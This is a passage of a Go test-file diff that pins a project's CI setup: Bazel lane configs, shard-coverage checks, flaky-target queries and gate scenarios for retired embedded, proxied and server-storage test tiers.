strconv.FormatBool(full)} + for _, r := range retiredTiers { + o[prRiskCoverageJobName+"."+r.output] = cov[r.output] } + return o } var scenarios []prRiskGateScenario + covs := []map[string]string{ + coveredAll("true"), coveredAll("false"), + {"embedded": "true", "dolt_server": "false"}, {"embedded": "false", "dolt_server": "true"}, + } for _, full := range []bool{true, false} { - for _, coveredOut := range []string{"true", "false"} { - name := fmt.Sprintf("full_embedded=%v covered=%s", full, coveredOut) - r := results(full, "success", coveredOut) - scenarios = append(scenarios, prRiskGateScenario{name: name + ", as designed", results: r, outputs: outputs(full, coveredOut), wantPass: true}) - for _, id := range prRiskBazelCoveredJobs { + for _, cov := range covs { + name := fmt.Sprintf("full_embedded=%v covered=%v", full, cov) + r := results(full, "success", cov) + scenarios = append(scenarios, prRiskGateScenario{name: name + ", as designed", results: r, outputs: outputs(full, cov), wantPass: true}) + for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { if r[id] == "skipped" { // Skipped by design; if it ran anyway and failed, red. bad := copyMap(r) bad[id] = "failure" - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " ran and failed", bad, outputs(full, coveredOut), false, prRiskBazelCoveredIDs[id]}) + scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " ran and failed", bad, outputs(full, cov), false, gateID(id)}) continue } for _, res := range []string{"skipped", "failure", "cancelled"} { bad := copyMap(r) bad[id] = res - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " " + res, bad, outputs(full, coveredOut), false, prRiskBazelCoveredIDs[id]}) - } - } - if full { - // The decision never excuses the jobs it does not retire. - for _, id := range []string{"build-embedded", "test-proxied-cmd", "test-server-storage", "test-server-storage-full"} { - bad := copyMap(r) - bad[id] = "skipped" - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " skipped", bad, outputs(full, coveredOut), false, ""}) + scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " " + res, bad, outputs(full, cov), false, gateID(id)}) } } } @@ -621,23 +831,52 @@ func TestPRRiskLegacyEmbeddedTierDefersToBazelLane(t *testing.T) { // A failed, cancelled or missing decision, or one that is not exactly // 'true', excuses nothing, whatever the jobs did. for _, bad := range []struct{ result, covered string }{ - {"failure", ""}, {"cancelled", ""}, {"skipped", ""}, {"success", ""}, {"success", "TRUE "}, {"success", "yes"}, {"success", "1"}, + {"failure", ""}, {"cancelled", ""}, {"skipped", ""}, {"failure", "true"}, {"cancelled", "true"}, } { - r := results(true, "success", "false") + r := results(true, "success", coveredAll("false")) r[prRiskCoverageJobName] = bad.result - for _, id := range prRiskBazelCoveredJobs { + for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { r[id] = "skipped" } scenarios = append(scenarios, prRiskGateScenario{ name: fmt.Sprintf("decision %s covered=%q, legacy skipped", bad.result, bad.covered), - results: r, outputs: outputs(true, bad.covered), wantPass: false, wantMention: "TEST_EMBEDDED_STORAGE", + results: r, outputs: outputs(true, coveredAll(bad.covered)), wantPass: false, wantMention: prRiskCoverageGateID, + }) + } + // Review F3 (step 2): per tier, with the other tier's output a valid + // "false" (so its jobs and build-embedded ran), a successful decision + // whose output for this tier is not exactly 'true' excuses none of this + // tier's skipped jobs: a gate testing != "false" (or similar) fails here. + for _, tier := range retiredTiers { + for _, covered := range []string{"", "TRUE ", "yes", "1", "True\n", "false "} { + cov := coveredAll("false") + cov[tier.output] = covered + for job, id := range tier.jobs { + r := results(true, "success", coveredAll("false")) + r[job] = "skipped" + scenarios = append(scenarios, prRiskGateScenario{ + name: fmt.Sprintf("decision success %s=%q, %s skipped", tier.output, covered, job), + results: r, outputs: outputs(true, cov), wantPass: false, wantMention: id, + }) + } + } + // And build-embedded's skip is excused only when both are exactly true. + cov := coveredAll("true") + cov[tier.output] = "yes" + r := results(true, "success", coveredAll("true")) + for job := range tier.jobs { + r[job] = "success" // isolate BUILD_EMBEDDED's own skip rule + } + scenarios = append(scenarios, prRiskGateScenario{ + name: fmt.Sprintf("decision success %s=yes, other true, build-embedded skipped", tier.output), + results: r, outputs: outputs(true, cov), wantPass: false, wantMention: prRiskBuildEmbeddedID, }) } // The decision job itself must succeed even when nothing else needs it. for _, res := range []string{"failure", "cancelled", "skipped"} { - r := results(false, "success", "false") + r := results(false, "success", coveredAll("false")) r[prRiskCoverageJobName] = res - scenarios = append(scenarios, prRiskGateScenario{"docs-only, decision " + res, r, outputs(false, ""), false, "BAZEL_EMBEDDED_COVERAGE"}) + scenarios = append(scenarios, prRiskGateScenario{"docs-only, decision " + res, r, outputs(false, coveredAll("")), false, prRiskCoverageGateID}) } for _, sc := range scenarios { @@ -653,6 +892,16 @@ func TestPRRiskLegacyEmbeddedTierDefersToBazelLane(t *testing.T) { } } +// retiredJobNames: the retired legacy test jobs, sorted. +func retiredJobNames() []string { + var out []string + for name := range retiredJobs() { + out = append(out, name) + } + sort.Strings(out) + return out +} + func copyMap(m map[string]string) map[string]string { out := make(map[string]string, len(m)) for k, v := range m { @@ -661,40 +910,62 @@ func copyMap(m map[string]string) map[string]string { return out } -// Review F5: bazel-embedded checks, after the run, that every Bazel shard of -// the manifest-sharded targets ran exactly the tests its PR Risk shard -// script lists, for the targets and shard counts of the legacy jobs. -func TestBazelEmbeddedChecksListedTestsRan(t *testing.T) { - job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) - step := job.step(t, "Every listed test ran in its shard") +// Review F5 (D2 step 1; step 2 for the proxied and server lanes): each +// retired tier's Bazel lane checks, after the run, that every Bazel shard of +// its manifest-sharded targets ran exactly the tests its PR Risk shard script +// lists, for the targets and shard counts of the legacy jobs, and that its +// unsharded targets did not only skip. +func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { risk := readCIWorkflow(t, prRiskWorkflowName) - want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} - for _, c := range []struct{ job, label, script string }{ - {"test-embedded-cmd", "//cmd/bd:bd_embedded_test", ".github/scripts/embedded-test-shard.sh"}, - {"test-embedded-storage", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh"}, + type suite struct{ job, step, label, script string } + for _, c := range []struct { + lane, config string + suites []suite + whole []string + }{ + {bazelEmbedJobName, "embedded", []suite{ + {"test-embedded-cmd", "Test", "//cmd/bd:bd_embedded_test", ".github/scripts/embedded-test-shard.sh"}, + {"test-embedded-storage", "Test", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh"}, + }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, + {bazelProxiedJobName, "doltserver-proxied", []suite{ + {"test-proxied-cmd", "Test proxied-server cmd shard", "//cmd/bd:bd_proxied_test", ".github/scripts/proxied-test-shard.sh"}, + }, nil}, + {bazelServerJobName, "doltserver-integration", []suite{ + {"test-server-storage-full", "Test", "//internal/storage/dolt:dolt_server_full_test", ".github/scripts/server-storage-test-shard.sh"}, + }, []string{"//internal/storage/dolt:dolt_server_conformance_test"}}, } { - shards := len(risk.job(t, c.job).Strategy.Matrix.Shard) - if !strings.Contains(risk.job(t, c.job).step(t, "Test").Run, c.script) { - t.Errorf("pr-risk.yml %s no longer runs %s; update this suite", c.job, c.script) + job := readCIWorkflow(t, bazelWorkflowName).job(t, c.lane) + step := job.step(t, "Every listed test ran in its shard") + want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} + for _, s := range c.suites { + shards := len(risk.job(t, s.job).Strategy.Matrix.Shard) + if !strings.Contains(risk.job(t, s.job).step(t, s.step).Run, s.script) { + t.Errorf("pr-risk.yml %s no longer runs %s; update this suite", s.job, s.script) + } + want = append(want, fmt.Sprintf("--suite %s %s %d", s.label, s.script, shards)) + } + for _, w := range c.whole { + want = append(want, "--whole "+w) + } + if got := strings.Join(strings.Fields(step.Run), " "); got != strings.Join(want, " ") { + t.Errorf("%s coverage step runs %q, want %q", c.lane, got, strings.Join(want, " ")) + } + if step.If != "${{ always() && steps.test.outcome != 'skipped' }}" || step.ContinueOnError != nil { + t.Errorf("%s coverage step: if %q, continue-on-error %v; want always() after the test step and no continue-on-error", c.lane, step.If, step.ContinueOnError) + } + if !(job.stepIndex(t, "bazel test //... --config="+c.config) < job.stepIndex(t, step.Name) && + job.stepIndex(t, step.Name) < job.stepIndex(t, "Record job result")) { + t.Errorf("%s coverage step must run after the test step and before the result recorder", c.lane) } - want = append(want, fmt.Sprintf("--suite %s %s %d", c.label, c.script, shards)) } - // The conformance partitions (unsharded): not all skipped. + // The legacy conformance partitions the --whole targets stand for. for _, partition := range []string{"core", "audit"} { if risk.job(t, "test-embedded-conformance").step(t, "Test "+partition+" conformance").Run == "" { t.Errorf("pr-risk.yml test-embedded-conformance has no %s partition; update this check", partition) } - want = append(want, "--whole //internal/storage/embeddeddolt:embeddeddolt_conformance_"+partition+"_test") } - if got := strings.Join(strings.Fields(step.Run), " "); got != strings.Join(want, " ") { - t.Errorf("%s coverage step runs %q, want %q", bazelEmbedJobName, got, strings.Join(want, " ")) - } - if step.If != "${{ always() && steps.test.outcome != 'skipped' }}" || step.ContinueOnError != nil { - t.Errorf("coverage step: if %q, continue-on-error %v; want always() after the test step and no continue-on-error", step.If, step.ContinueOnError) - } - if !(job.stepIndex(t, "bazel test //... --config=embedded") < job.stepIndex(t, step.Name) && - job.stepIndex(t, step.Name) < job.stepIndex(t, "Record job result")) { - t.Errorf("coverage step must run after the test step and before the result recorder") + if !strings.Contains(risk.job(t, "test-server-storage").step(t, "Test").Run, "-test.run '^TestConformance$'") { + t.Errorf("pr-risk.yml test-server-storage no longer runs ^TestConformance$; update this check") } } @@ -862,16 +1133,17 @@ esac } // Review G1: the checker's input is the real shard scripts' list-only -// output. Every name they list, for every shard, must be a test go test +// output (every retired lane's: the embedded, proxied and server suites). Every name they list, for every shard, must be a test go test // runs (declared `func Name(t *testing.T)` in the package's _test.go files), // or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name // must really not be a test (TestMain takes *testing.M). Otherwise the // checker reports a listed test that "did not run" on every real run. -func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { +func TestShardScriptsListOnlyRealTests(t *testing.T) { if os.Getenv("TEST_SRCDIR") != "" { t.Skip("scripts_test's runfiles hold neither the shard scripts' sources nor tools/bazel") } - requireHostTool(t, "bash") + // The CI shard scripts use bash 4 associative arrays (Linux runners only). + requireAutofixBash(t) root := sourceRepoRoot(t) m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) if m == nil { @@ -885,6 +1157,9 @@ func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { for _, c := range []struct{ job, script, pkg string }{ {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, + // D2 step 2: the proxied and server lanes' suites. + {"test-proxied-cmd", ".github/scripts/proxied-test-shard.sh", "cmd/bd"}, + {"test-server-storage-full", ".github/scripts/server-storage-test-shard.sh", "internal/storage/dolt"}, } { var src strings.Builder files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) @@ -904,16 +1179,27 @@ func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { declared[d[1]] = true } shards := len(risk.job(t, c.job).Strategy.Matrix.Shard) + // The scripts' hash fallback forks per test (seconds per shard for + // the server suite): list the shards concurrently. + outs, errs := make([][]byte, shards+1), make([]error, shards+1) + var wg sync.WaitGroup + for k := 1; k <= shards; k++ { + wg.Add(1) + go func(k int) { + defer wg.Done() + cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) + cmd.Dir = root + cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") + outs[k], errs[k] = cmd.Output() + }(k) + } + wg.Wait() listed := 0 for k := 1; k <= shards; k++ { - cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) - cmd.Dir = root - cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") - out, err := cmd.Output() - if err != nil { - t.Fatalf("%s %d %d: %v", c.script, k, shards, err) + if errs[k] != nil { + t.Fatalf("%s %d %d: %v", c.script, k, shards, errs[k]) } - for _, line := range strings.Split(string(out), "\n") { + for _, line := range strings.Split(string(outs[k]), "\n") { name, ok := strings.CutPrefix(line, " ") if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { continue @@ -940,20 +1226,22 @@ func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { } } -// Review G3: since D2 step 1 the Bazel embedded lane is the tier's only -// pre-merge run on same-repo PRs, so nothing that reaches it may narrow it -// (select fewer tests, or turn them into skips) without a reviewed edit of -// this test. TestBazelEmbeddedJobMirrorsEmbeddedTier pins the command line -// and the --config=embedded lines; this covers everything else that applies -// to the lane: every other .bazelrc line of a config the lane uses (the -// unconfigured ones, remote-exec and fork-cache, which setup-bazel's rc -// enables, and any config those pull in), rc files that would be try-imported, the -// tools/bazel scripts every test runs under or through, the whole -// setup-bazel action, and the embedded-tagged targets' args and env. At run -// time, check_shard_coverage.py also fails a shard of only skips. -func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { +// Review G3: since D2 the retired tiers' Bazel lanes (embedded, proxied, +// server-storage) are those tiers' only pre-merge run on same-repo PRs, so +// nothing that reaches them may narrow them (select fewer tests, or turn +// them into skips) without a reviewed edit of this test. +// TestBazelEmbeddedJobMirrorsEmbeddedTier and TestBazelRetiredLanesArePinned +// pin the command lines and each lane config's lines; this covers +// everything else that applies to the lanes: every other .bazelrc line of a +// config a lane uses (the unconfigured ones, remote-exec and fork-cache, +// which setup-bazel's rc enables, and any config those pull in), rc files +// that would be try-imported, the tools/bazel scripts every test runs under +// or through, the whole setup-bazel action, and the lanes' targets' args and +// env. At run time, check_shard_coverage.py also fails a shard of only +// skips. +func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { root := sourceRepoRoot(t) - rcNarrow := regexp.MustCompile(`test_filter|test_arg|-test\.|_filters\b|test_env=(BEADS_TEST|GO_TEST|TESTBRIDGE)|--config=|cache_test_results|run_under|flaky|runs_per_test|test_sharding_strategy|build_tests_only`) + rcNarrow := regexp.MustCompile(`test_filter|test_arg|-test\.|_filters\b|test_env=(BEADS_TEST|GO_TEST|TESTBRIDGE)|--config=|cache_test_results|eviction_retries|run_under|flaky|runs_per_test|test_sharding_strategy|build_tests_only`) const runUnder = "test --run_under=//tools/bazel:test_env" wantImports := []string{"try-import %workspace%/.bazelrc.local", "try-import %workspace%/user.bazelrc"} @@ -975,15 +1263,22 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { lines = append(lines, rcLine{cmd, config, line}) } if !reflect.DeepEqual(imports, wantImports) { - t.Errorf(".bazelrc imports %v, want exactly %v (an import can carry any flag into the lane)", imports, wantImports) + t.Errorf(".bazelrc imports %v, want exactly %v (an import can carry any flag into the lanes)", imports, wantImports) } - // The configs the lane uses: --config=embedded (pinned), the configs + // The configs the lanes use: their own (pinned), the configs // setup-bazel's generated rc enables for every command (remote-exec, - // and fork-cache in mode cache, where the remote-only lane is skipped + // and fork-cache in mode cache, where the remote-only lanes are skipped // but the rc still applies), the unconfigured lines, and anything they // reference (which the check below then forbids anyway). + laneConfigs := map[string][]string{"embedded": bazelEmbeddedRCLines} + for config, want := range bazelDoltServerRCLines { + laneConfigs[config] = want + } rcEnabled := map[string]bool{"remote-exec": true, "fork-cache": true} - inUse := map[string]bool{"": true, "embedded": true} + inUse := map[string]bool{"": true} + for c := range laneConfigs { + inUse[c] = true + } for c := range rcEnabled { inUse[c] = true } @@ -1001,15 +1296,17 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { } } pinned := map[string]bool{} - for _, l := range bazelEmbeddedRCLines { - pinned[l] = true + for _, want := range laneConfigs { + for _, l := range want { + pinned[l] = true + } } for _, l := range lines { if !inUse[l.config] || pinned[l.text] { continue } - if l.config == "embedded" { - t.Errorf(".bazelrc %q: not one of the pinned --config=embedded lines", l.text) + if _, lane := laneConfigs[l.config]; lane { + t.Errorf(".bazelrc %q: not one of the pinned --config=%s lines", l.text, l.config) continue } if l.text == runUnder { @@ -1017,7 +1314,7 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { continue } if rcNarrow.MatchString(l.text) { - t.Errorf(".bazelrc %q applies to the embedded lane (config %q) and selects, narrows or re-runs tests", l.text, l.config) + t.Errorf(".bazelrc %q applies to the retired tiers' lanes (config %q) and selects, narrows or re-runs tests", l.text, l.config) } } if !sawRunUnder { @@ -1041,10 +1338,10 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { } } - // The scripts every embedded test runs under or through, and the whole + // The scripts every lane's test runs under or through, and the whole // setup-bazel action (its generated rc applies to every command). if os.Getenv("TEST_SRCDIR") == "" { - scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|flaky|runs_per_test|test_sharding_strategy`) + scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|BEADS_TEST_PROXIED_SERVER|BEADS_TEST_ENV_RUN_DOLT|BEADS_TEST_REQUIRE_DOLT_CONTAINER|BEADS_TEST_DOLT_SERVER\b|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|eviction_retries|flaky|runs_per_test|test_sharding_strategy`) files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) files = append(files, action...) @@ -1063,7 +1360,7 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { continue } if scriptNarrow.MatchString(code) { - t.Errorf("%s:%d %q can select, skip or re-run the embedded lane's tests", rel, i+1, code) + t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) } for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { if !rcEnabled[m[1]] { @@ -1074,8 +1371,21 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { } } - // The embedded-tagged targets: exactly these, with exactly these args - // and env (the legacy jobs' flags; the shard scripts add the rest). + // Review F2 (step 2): the shard scripts the sharded targets run (the + // legacy jobs run the same scripts, so they are not changed here): the + // command that runs the selected tests is pinned exactly, and nothing + // else in them may select, skip, export a tier switch or run tests. + if os.Getenv("TEST_SRCDIR") == "" { + for _, c := range bazelShardScripts { + for _, e := range shardScriptNarrowing(c, readPolicyFile(t, root, c.script)) { + t.Error(e) + } + } + } + + // The lanes' targets (tagged embedded, dolt-server-proxied or + // dolt-server-integration): exactly these, with exactly these args and + // env (the legacy jobs' flags; the shard scripts add the rest). if os.Getenv("TEST_SRCDIR") != "" { return // scripts_test's runfiles hold no other package's BUILD } @@ -1100,7 +1410,27 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^Audit$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + "//cmd/bd:bd_proxied_test": { + []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, + map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", "BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", "BEADS_TEST_PROXIED_SERVER": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "GOMAXPROCS": "4", + }, + }, + "//internal/storage/dolt:dolt_server_conformance_test": { + []string{"$(rootpath :dolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=15m", "-test.run=^TestConformance$$"}, + map[string]string{"BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_GIT_IDENTITY": "1", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "GOMAXPROCS": "4"}, + }, + "//internal/storage/dolt:dolt_server_full_test": { + []string{"$(rootpath //:.github/scripts/server-storage-test-shard.sh)", "BEADS_TEST_SERVER_TEST_BINARY", "$(rootpath :dolt_race_off)"}, + map[string]string{ + "BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_ENV_RUN_DOLT": "1", "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)", "GOMAXPROCS": "4", + }, + }, } + laneTags := regexp.MustCompile(`"(embedded|dolt-server-proxied|dolt-server-integration)"`) quoted := regexp.MustCompile(`"([^"]*)"`) envPair := regexp.MustCompile(`"([^"]*)":\s*"([^"]*)"`) nameRe := regexp.MustCompile(`(?m)^ name = "([^"]+)",$`) @@ -1128,12 +1458,12 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { pkg, _ := filepath.Rel(root, filepath.Dir(path)) for _, rule := range bazelTopRules(string(data)) { tags := tagsRe.FindStringSubmatch(rule) - if tags == nil || !strings.Contains(tags[1], `"embedded"`) { + if tags == nil || !laneTags.MatchString(tags[1]) { continue } name := nameRe.FindStringSubmatch(rule) if name == nil { - t.Errorf("%s: an embedded-tagged rule without a literal name:\n%s", pkg, rule) + t.Errorf("%s: a retired lane's rule without a literal name:\n%s", pkg, rule) continue } var tg target @@ -1157,25 +1487,255 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { t.Fatal(err) } if !reflect.DeepEqual(got, want) { - t.Errorf("embedded-tagged targets' args/env changed:\ngot %v\nwant %v", got, want) + t.Errorf("the retired lanes' targets' args/env changed:\ngot %v\nwant %v", got, want) } } -// Review G4: bazel-embedded asks Bazel which test targets are flaky (a -// grep of BUILD files misses `flaky = _VAR` or a macro default) before it -// runs the tier, and fails on any. -func TestBazelEmbeddedQueriesFlakyTargets(t *testing.T) { - job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) - step := job.step(t, "No test target is marked flaky") +// Review G4: each retired tier's lane asks Bazel which test targets are +// flaky (a grep of BUILD files misses `flaky = _VAR` or a macro default) +// before it runs the tier, and fails on any. +func TestBazelRetiredLanesQueryFlakyTargets(t *testing.T) { const want = `flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" if [ -n "$flaky" ]; then echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" exit 1 fi` - if strings.TrimSpace(step.Run) != want || step.If != "" || step.ContinueOnError != nil { - t.Errorf("flaky query step: if %q, continue-on-error %v, run:\n%s\nwant run:\n%s", step.If, step.ContinueOnError, step.Run, want) + for lane, config := range bazelRetiredLaneConfigs { + job := readCIWorkflow(t, bazelWorkflowName).job(t, lane) + step := job.step(t, "No test target is marked flaky") + if strings.TrimSpace(step.Run) != want || step.If != "" || step.ContinueOnError != nil { + t.Errorf("%s flaky query step: if %q, continue-on-error %v, run:\n%s\nwant run:\n%s", lane, step.If, step.ContinueOnError, step.Run, want) + } + if !(job.stepIndex(t, "Set up Bazel") < job.stepIndex(t, step.Name) && job.stepIndex(t, step.Name) < job.stepIndex(t, "bazel test //... --config="+config)) { + t.Errorf("%s flaky query step must run after setup-bazel and before the tier", lane) + } } - if !(job.stepIndex(t, "Set up Bazel") < job.stepIndex(t, step.Name) && job.stepIndex(t, step.Name) < job.stepIndex(t, "bazel test //... --config=embedded")) { - t.Errorf("flaky query step must run after setup-bazel and before the tier") +} + +// The retired tiers' Bazel lanes and the config each runs. +var bazelRetiredLaneConfigs = map[string]string{ + bazelEmbedJobName: "embedded", + bazelProxiedJobName: "doltserver-proxied", + bazelServerJobName: "doltserver-integration", +} + +// bazelTierTestRun: a retired lane's test step, exactly (review F4). +func bazelTierTestRun(config string) string { + return strings.ReplaceAll(bazelEmbeddedTestRun, "--config=embedded", "--config="+config) +} + +// .bazelrc's --config=doltserver-proxied and --config=doltserver-integration, +// exactly and in order (D2 step 2, as review F4 for embedded): no +// --test_filter, no -test.short/-test.run/-test.skip, no retries, no result +// caching. Their targets' own args (the conformance target's -test.run, the +// legacy job's) are pinned by TestBazelRetiredLanesCannotBeNarrowed. +var bazelDoltServerRCLines = map[string][]string{ + "doltserver-proxied": { + "test:doltserver-proxied --@rules_go//go/config:race", + "test:doltserver-proxied --test_tag_filters=dolt-server-proxied", + "test:doltserver-proxied --build_tests_only", + "test:doltserver-proxied --keep_going", + "test:doltserver-proxied --test_summary=terse", + "test:doltserver-proxied --test_timeout=-1,-1,-1,1200", + "test:doltserver-proxied --test_env=GO_TEST_WRAP_TESTV=1", + "test:doltserver-proxied --test_arg=-test.parallel=4", + "test:doltserver-proxied --local_test_jobs=4", + "test:doltserver-proxied --remote_download_regex=.*/test\\.(log|xml)$", + "test:doltserver-proxied --nocache_test_results", + "test:doltserver-proxied --experimental_remote_cache_eviction_retries=0", + }, + "doltserver-integration": { + "build:doltserver-integration --@rules_go//go/config:tags=gms_pure_go,integration", + "test:doltserver-integration --@rules_go//go/config:race", + "test:doltserver-integration --test_tag_filters=dolt-server-integration", + "test:doltserver-integration --build_tests_only", + "test:doltserver-integration --keep_going", + "test:doltserver-integration --test_summary=terse", + "test:doltserver-integration --test_timeout=-1,-1,-1,1200", + "test:doltserver-integration --test_env=GO_TEST_WRAP_TESTV=1", + "test:doltserver-integration --test_arg=-test.parallel=4", + "test:doltserver-integration --local_test_jobs=4", + "test:doltserver-integration --remote_download_regex=.*/test\\.(log|xml)$", + "test:doltserver-integration --nocache_test_results", + "test:doltserver-integration --experimental_remote_cache_eviction_retries=0", + }, +} + +// D2 step 2, as review F2/F4 for embedded: the proxied and server lanes run +// exactly `bazel test //... --config=` with a BEP and nothing else, +// their configs are exactly the pinned lines (results never cached), and no +// .bazelrc line of any config turns caching back on for them. +func TestBazelRetiredLanesArePinned(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + for lane, config := range bazelRetiredLaneConfigs { + test := workflow.job(t, lane).step(t, "bazel test //... --config="+config) + if strings.TrimSpace(test.Run) != bazelTierTestRun(config) { + t.Errorf("%s test step run changed; want exactly:\n%s\ngot:\n%s", lane, bazelTierTestRun(config), test.Run) + } + } + rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") + for config, want := range bazelDoltServerRCLines { + var got []string + for _, line := range strings.Split(rc, "\n") { + line = strings.TrimSpace(line) + head, _, _ := strings.Cut(line, " ") + if strings.HasSuffix(head, ":"+config) { + got = append(got, line) + } + } + if !reflect.DeepEqual(got, want) { + t.Errorf(".bazelrc --config=%s lines changed; want exactly:\n%s\ngot:\n%s", config, strings.Join(want, "\n"), strings.Join(got, "\n")) + } + if !contains(want, "test:"+config+" --nocache_test_results") { + t.Errorf("pinned --config=%s lacks --nocache_test_results: the tier's only pre-merge run must execute", config) + } + } + // Review F1 (step 2): no whole-invocation retry after a remote cache + // eviction in any retired lane (it would re-run, and could turn green, + // a test that failed in the first attempt), and nothing else in + // .bazelrc sets the retry count (a later value would win). + evictionAllowed := map[string]bool{} + for _, config := range bazelRetiredLaneConfigs { + want := "test:" + config + " --experimental_remote_cache_eviction_retries=0" + lines := bazelEmbeddedRCLines + if config != "embedded" { + lines = bazelDoltServerRCLines[config] + } + if !contains(lines, want) { + t.Errorf("pinned --config=%s lacks %q", config, want) + } + evictionAllowed[want] = true + } + for _, line := range strings.Split(rc, "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(line, "#") && strings.Contains(line, "remote_cache_eviction_retries") && !evictionAllowed[line] { + t.Errorf(".bazelrc %q: only the retired tiers' configs set the eviction retry count (to 0)", line) + } + } + // A later --cache_test_results (any config the lanes use) would win. + allowed := map[string]bool{"test:docker --nocache_test_results": true, "test:embedded --nocache_test_results": true} + for config := range bazelDoltServerRCLines { + allowed["test:"+config+" --nocache_test_results"] = true + } + for _, line := range strings.Split(rc, "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && !allowed[line] { + t.Errorf(".bazelrc %q: only the docker and retired tiers' configs set test result caching (to off)", line) + } + } +} + +// bazelShardScript: a manifest shard script a retired lane's sharded target +// runs, and how it runs the selected tests. +type bazelShardScript struct { + script, binVar, timeout, goTags string + race bool + pkg, cd string // cd: the directory the prebuilt binary runs in ("" = none) +} + +var bazelShardScripts = []bazelShardScript{ + {".github/scripts/embedded-test-shard.sh", "CMD_BINARY", "20m", "gms_pure_go", true, "./cmd/bd/", ""}, + {".github/scripts/embedded-storage-test-shard.sh", "STORAGE_BINARY", "20m", "gms_pure_go", true, "./internal/storage/embeddeddolt/", ""}, + {".github/scripts/proxied-test-shard.sh", "CMD_BINARY", "15m", "gms_pure_go", false, "./cmd/bd/", ""}, + {".github/scripts/server-storage-test-shard.sh", "STORAGE_BINARY", "15m", "integration,gms_pure_go", false, "./internal/storage/dolt/", "internal/storage/dolt"}, +} + +// tail: the script's code lines (comments and blank lines dropped) from the +// prebuilt-binary branch to the end of the file, exactly. +func (c bazelShardScript) tail() 